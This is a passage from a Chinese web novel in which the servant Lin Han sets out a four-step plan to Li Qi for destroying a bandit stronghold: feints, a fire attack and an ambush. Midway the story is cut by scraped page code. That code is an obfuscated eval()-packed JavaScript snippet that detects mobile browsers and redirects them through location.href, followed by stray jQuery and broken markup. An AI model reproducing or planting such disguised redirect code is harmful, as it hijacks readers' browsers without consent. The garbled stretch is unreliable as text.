听后,李七浑浊的眼珠在夜色里微微转动。
他并未立即表态,而是思索了良久。
这期间,林寒低垂着头,心中忐忑。
他误以为自己犯了僭越之罪。
胆敢吩咐李七……在整个大越,除了皇帝,还有谁?
好在李七没有生气,只是发出一声几乎听不见的低哼。
那哼声里,听不出是赞许还是嘲弄。
“惊蛇……虚实……”
李七低声重复着这两个词,佝偻的身影在黑暗中宛如一尊石像:“倒是有点意思。”
他抬起眼皮,那双鹰隼般的眼睛再次锁定林寒。
但这一次,林寒感觉到的不再是审视,而是一种……毫不掩饰的赞赏?!
李七的声音干涩平淡,又问道:“目前听来,十分不错,那第三步呢?”
林寒继续道:“第三步,火攻。此乃决胜之招!”
林寒开始向李七详细的解释:
“在正面佯攻,吸引匪徒全部注意力的时候,需要一人凭借轻功,从侧面的险峻处潜入山寨。”
“阴风岭树木茂密,而山寨又多为木制结构。入寨之人,需要趁乱在其粮草、马厩、或聚义厅等要害之处点燃大火。”
“一旦火起,匪徒必乱!他们前有‘大军’压境,后有火光冲天,军心必然瞬间崩溃。届时,恐慌蔓延,纵使有人想稳定军心,也无济于事。到那时,匪徒的战力十不存一。”
“那时候,公公们再以雷霆之力出手,几乎就是单方面的**。”
说完,林寒停顿一瞬,又强调:“此步骤最为关键,牵一发而动全身,不仅要考虑时机的配合,对执行者本人也有要求。”
“因为执行纵火之人,孤身深入,九死一生。不光轻功要好,还要有大心脏,一旦出错,满盘皆输。”
李七听着,枯瘦的手指停止了捻动佛珠,微微颔首。
这一步,狠辣而有效,直击要害,确实是打破僵局的好方法。
但他没有急于出声。
因为看林寒的样子,李七猜测,他还有更深的考量。
而林寒看到李七细微的动作,心知计策已经得到他的认可。
但他眉头依旧紧锁。
整个行动看起来周密严谨,但离环环相扣,老感觉还差一步。
他心思飞转,忽然眸光一闪。
一个更完善的最终步骤在脑中成型。
林寒连忙开口:“但若如此,或许只能击溃匪徒,很难斩草除根,一旦有漏网之鱼逃入山林,后患无穷。”
林寒的声音很低,却带着一丝自信,“所以,奴才以为,当有第四步‘伏击’。”
“伏击?”
李七眼中精光一闪,终于再次开口。
这林寒倒是有趣。
“正是。”
林寒应答一声,解释道,“火起之后,匪徒大乱,一定有溃散出逃,亦或是看形势不对,想要保存实力的匪徒。”
“因此,在实施火攻之前,我们剩下的人,应提前绕至山寨后方或侧翼,寻找其最可能的逃窜路径!提前设伏。”
“当然,我们具体伏击地点的选择应当慎之又重,切不能搬起石头砸自己的脚。”
李七颔首,继续听林寒说。
“伏击的地点,不能选易守难攻的地方,如一线天。因为那种地方,逃兵明知是死路,反而可能困兽犹斗,殊死一搏,极有可能对我们造成不必要的伤亡。”
“所以,我们应选择匪徒认为的生路……即山寨后方或侧翼。”
“据赵、黄二位公公所说,侧翼为险峻,无需考虑,那我们的主要设伏之地,应当是山寨后方。那里势相对开阔,便于奔跑逃离。”
“逃兵至此,心神定然放松,以为逃出生天,警惕性降至最低。”
“而且就算他们知道有埋伏,也不会殊死反扑,因为在他们的认知里,这里并不是绝路!他们有机会,利用同伴当炮灰,为自己寻得一线生机。”
“到时候,咱们以逸待劳,或射杀,或生擒,可得事半功倍之效。”
“但是,需要注意的是,若能辨认出匪首,不求生擒,只求重点击杀,如此方能真正铲除这伙匪患,以绝后患。”
林寒的计策,环环相扣,堪称完美。
这其中优点主要有二。
第一,在一定能取得成效的时候,全程为同僚的安全考虑,尽量减少己方伤亡。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16767394|190216||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
第二,剿匪计策过于完整,前期的诡诈,又有中段的乱敌,还有后期的收网。
可以说,用最缜密的安排,无伤扩大战果。
林寒说完,躬身而立。
没有任何骄傲和嚣张,谦卑至极。
一时间,夜色中,只有寒风吹过树林的呜咽声。
乔博早已听得目瞪口呆,看向林寒的眼神充满了难以置信。
赵虎和黄龙虽然依旧面无表情,但眼神深处也掠过一丝讶异,显然没想到这个新来的小子能有如此缜密的算计。
李七沉默了片刻,那佝偻的身影在黑暗中仿佛与夜色融为一体。
终于,他缓缓站直了些许,虽然依旧驼背,但一股无形的压力却弥漫开来。
“惊蛇,虚实,火攻,伏击……”
李七将这四个词缓缓念出,一字一句,每个字都像是砸在寂静的夜色里。
“步步为营,环环相扣……林寒,你很好。”
他的语气依旧平淡,但那句“你很好”,却让林寒心中一块大石落地。
这已是极高的评价。
只是,李七话锋一转,忽然好奇道:“那该如何伏击?要知道,我们人手本就不够。”
李七的问题切中要害。
他们仅有十人,即便算上可能负责纵火的林寒自己,能参与伏击的也不过三人。
要在相对视野开阔的地方,伏击可能数十倍于己方的溃兵,并试图击杀土匪头子……
听起来无异于天方夜谭。
乔博闻言,眉头渐渐舒展。
确实……这伏击之计根本行不通!
这林寒终究是纸上谈兵之辈!
什么都没有,只是长了张能说会道的嘴。
赵虎和黄龙也微微皱眉,显然在思考如何弥补人数上的绝对劣势。
然而,林寒似乎早已料到有此一问。
他非但没有迟疑,眼中反而闪过一丝笃定的光芒。
他向前半步,声音沉稳,带着一种超然的自信:
“公公明鉴,敌众我寡,硬伏自然是下下之策。奴才所言的伏击,并非要我等排开阵势,与逃兵对冲。”
“而是借助外力!”